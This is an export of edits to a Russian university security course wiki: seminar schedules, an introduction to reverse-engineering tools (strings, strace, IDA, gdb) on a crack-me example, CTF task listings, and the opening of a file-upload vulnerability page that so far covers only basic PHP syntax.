&lt;br /&gt;
Семинар 8 (28 октября 2021) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (22 ноября 2021) [[Бинарные_уязвимости/Stack_overflow]]&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости мобильных приложений ===&lt;br /&gt;
&lt;br /&gt;
Семинар 16 декабря 2021 [[Уязвимости_мобильных_приложений/Уязвимости]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
Семинар 1 (21 февраля 2021) [[Введение в практическую безопасность (2019)/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (5 марта 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (14 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=607</id>
		<title>Бинарные уязвимости/Инструменты поиска бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D0%B5_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8/%D0%98%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%D0%BF%D0%BE%D0%B8%D1%81%D0%BA%D0%B0_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=607"/>
		<updated>2021-10-28T08:20:57Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Примеры с занятия */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== strings ==&lt;br /&gt;
&lt;br /&gt;
Выводит константные строки, которые есть в бинарнике. Строки определяются эвристикой, поэтому часто бывают ложные срабатывания. IDA тоже умеет определять строки.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strings reverse_example_1&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарники, которые были рассмотрены на семинаре: [[Media:2019 reverse examples.zip]].&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=606</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=606"/>
		<updated>2021-10-28T08:18:37Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Материалы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2021) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2021) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (28 октября 2021) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=605</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=605"/>
		<updated>2021-10-28T08:17:56Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Веб */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2021) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2021) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=602</id>
		<title>Веб-безопасность/Уязвимости FileUpload</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B5%D0%B1-%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C/%D0%A3%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8_FileUpload&amp;diff=602"/>
		<updated>2021-10-07T12:20:41Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Подключение файлов */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Загрузка файлов пользователями&#039;&#039;&#039; - довольно частая часть функциональности веб-приложения (аватарки, хостинг файлов, посылка вложений вместе с сообщениями и т. д.). Небезопасная реализация этого механизма может приводить к очень серьезным уязвимостям.&lt;br /&gt;
Загрузка файлов необходима многим сервисам, таким как файлообменники, социальные сети, онлайн-конверторы и редакторы. &lt;br /&gt;
&lt;br /&gt;
Самый простой способ реализации механизма загрузки файлов - просто создавать на файловой системе сервера файл с таким же содержимым как файл, отправленный пользователем (проще говоря, &amp;quot;класть&amp;quot; присланный пользователем файл куда-то на файловую систему сервера). После загрузки файл либо доступен пользователю по прямой ссылке (т. е. определенные URL-адреса отображаются на загруженные файлы и существует URL, обращение к которому ведет к отдаче загруженного файла), либо как то еще обрабатывается веб-приложением. Само веб-приложение во многом состоит из файлов на диске, поэтому добавление файлов на сервер может быть небезопасным, так как (в общем случае) может изменить логику работы приложения. &lt;br /&gt;
Соответственно, могут появляться следующие уязвимости: &lt;br /&gt;
* Remote Code Execution&lt;br /&gt;
* перезапись или удаление файлов&lt;br /&gt;
* Local File Read, SSRF&lt;br /&gt;
* Denial of Service&lt;br /&gt;
* Information Disclosure&lt;br /&gt;
* XSS&lt;br /&gt;
=PHP=&lt;br /&gt;
PHP (PHP: Hypertext Preprocessor) — скриптовый язык общего назначения, интенсивно применяемый для разработки веб-приложений.&lt;br /&gt;
==Привет, мир!==&lt;br /&gt;
Простейшая программа, выводящая надпись &amp;quot;Привет, мир!&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php print(&amp;quot;Привет, мир!&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Каждый скрипт должен начинаться с &amp;lt;code&amp;gt; &amp;lt;?php &amp;lt;/code&amp;gt; и желательно (но не всегда обязательно) на &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt;. Пример кода, где &amp;lt;code&amp;gt; ?&amp;gt; &amp;lt;/code&amp;gt; обязателен:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Наша первая php страница&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;h1&amp;gt;&amp;lt;?php print(&amp;quot;Привет, мир&amp;quot;); ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Переменные==&lt;br /&gt;
В синтаксисе PHP имя переменной записывается латинскими символами, но первым символом всегда должен быть знак доллара $, после чего идёт имя. Не допускается начинать имя переменной с цифры, а также использовать любые значения, кроме букв алфавита и знака подчеркивания.&lt;br /&gt;
&lt;br /&gt;
Правильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$age&lt;br /&gt;
$favorite_color&lt;br /&gt;
$name2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Неправильные переменные:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
age&lt;br /&gt;
$42&lt;br /&gt;
$my-age&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Переменные бывают нескольких типов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
$favorite_color = &amp;quot;green&amp;quot;; // строка&lt;br /&gt;
$favorite_number = 42; // целое число&lt;br /&gt;
$favorite_float_number = 0.5; // число с плавающей точкой&lt;br /&gt;
$favorite_bool = true; // boolean&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Числа можно складывать, вычитать, делить, умножать опреаторы стандартные, как и во всех языках: +, -, *, /, % - плюсь, минус, умножить, делить (деление не целочисленное), остаток от деления.&lt;br /&gt;
==Конкатенация==&lt;br /&gt;
Конкатенация - &amp;quot;cклейка&amp;quot; нескольких строчек в одну.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$united_string = &amp;quot;Мой любимый цвет - &amp;quot; . $favorite_color . &amp;quot;, а любимое число - &amp;quot; . $favorite_number;&lt;br /&gt;
print($united_string);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В коде выше $favorite_number - число. Поэтому данная переменная приводится к типу данных &amp;quot;строка&amp;quot;, после чего уже происходит конкатенация.&lt;br /&gt;
==Ввод данных==&lt;br /&gt;
Данная функциональность редко используется, но нам это нужно было для решения задач на лекии. readline - функция ввода данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$line = readline();&lt;br /&gt;
print($line);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Массивы==&lt;br /&gt;
Массив — структура данных, хранящая набор значений (элементов массива), идентифицируемых по индексу.&lt;br /&gt;
&lt;br /&gt;
В обычных массивах в PHP индекс значение - целое число. Нумеруются массивы с 0:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$fav_shows = [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
В ассоциативных массивах в качестве индекса может использоваться не только число. Например, строка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$user = [&#039;age&#039; =&amp;gt; 42, &#039;name&#039; =&amp;gt; &#039;Иннокентий&#039;, &#039;fav_shows&#039; =&amp;gt; [&amp;quot;game of thrones&amp;quot;, &amp;quot;american horror story&amp;quot;, &amp;quot;walking dead&amp;quot;] ];&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==Условный оператор==&lt;br /&gt;
Синтаксис: if (условие):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;PHP&amp;quot;&amp;gt;&lt;br /&gt;
if ($gender == &amp;quot;мужчина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, мой Господин!&amp;quot;);&lt;br /&gt;
} else if ($gender == &amp;quot;женщина&amp;quot;) {&lt;br /&gt;
    print(&amp;quot;Приветствую тебя, о Госпожа!&amp;quot;);&lt;br /&gt;
} else {&lt;br /&gt;
    print(&amp;quot;Не хватает гендеров.&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
* оператор присваивания: =&lt;br /&gt;
